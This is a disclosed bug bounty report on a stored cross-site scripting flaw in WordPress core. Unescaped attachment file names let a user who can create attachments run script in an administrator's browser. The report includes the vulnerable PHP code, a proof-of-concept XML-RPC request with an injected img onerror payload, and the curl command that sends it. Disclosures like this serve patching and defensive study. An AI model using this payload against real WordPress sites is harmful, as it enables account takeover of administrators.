WordPress core stored XSS via attachment file name
Attachment file names were not HTML-escaped when displayed in the WordPress media list and attachment pages, allowing a user who can create attachments to inject script that executes in an administrator's browser.
- Triaged in 9 days
- Fixed in 37 days
- Paid in 51 days
- Disclosed after 3 months
I think there's a problem with missing HTML encoding of attachment file names. A user with the capability to create attachments could compromise other accounts including administrator by injecting HTML tags in the file name.
Creating attachment with arbitrary filenames is possible at least via the XMLRPC wp.newPost() function.
With a quick search I found two places where the filename is not HTML-escaped. First, wp-admin/includes/class-wp-media-list-table.php:
<p class="filename">
<span class="screen-reader-text"><?php _e( 'File name:' ); ?> </span>
<?php
$file = get_attached_file( $post->ID );
echo wp_basename( $file );
?>
</p>
The injected script is triggered when a user clicks the Media menu in the Dashboard.
The second is the attachment page found e.g. with the attachment_id=xxx query parameter. It might be theme-dependent. I checked Twenty Fourteen and Twenty Sixteen and both were vulnerable.
#PoC#
- Create a file called
xss.xml:
<?xml version="1.0"?>
<methodCall>
<methodName>wp.newPost</methodName>
<params>
<param><value>empty</value></param>
<param><value>username</value></param>
<param><value>password</value></param>
<param><struct>
<member><name>post_title</name><value>aaa</value></member>
<member><name>post_type</name><value>attachment</value></member>
<member><name>post_content</name><value>bbb</value></member>
<member><name>post_status</name><value>publish</value></member>
<member><name>file</name><value>ccc'>test<img src=x onerror=alert('xss') onload=alert('xss')></value></member>
</struct></param>
</params>
</methodCall>
- Send the request with
curl 'https://wordpress.site/xmlrpc.php' --data-binary "`cat xss.xml`" -H 'Content-type: application/xml'
- Go to the Dashboard as an administrator and view the media list. An alert box should appear. Only the list mode seems to be vulnerable but apparently it's the default.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The attachment file name was output without HTML escaping in the media list table and attachment page templates.
Impact
An attacker with permission to create attachments could execute script in an administrator's browser, potentially compromising the account; the report notes the media list mode is vulnerable and appears to be the default.
What the attacker needed
Ability to create attachments; victim views media list or attachment page
How it was found
- Create an XML file containing a wp.newPost call that creates an attachment with a malicious file name.
- Send the XML file to xmlrpc.php using a POST request with an XML content type.
- Log in as an administrator and open the media list in the dashboard; the script executes.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a file is uploaded to WordPress, its name is shown in the admin media library. The report found that the name was inserted into the page without being made safe, so a name containing HTML code would run as a script in the browser of anyone viewing that page. An attacker with permission to create attachments could therefore run code in an administrator's session.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.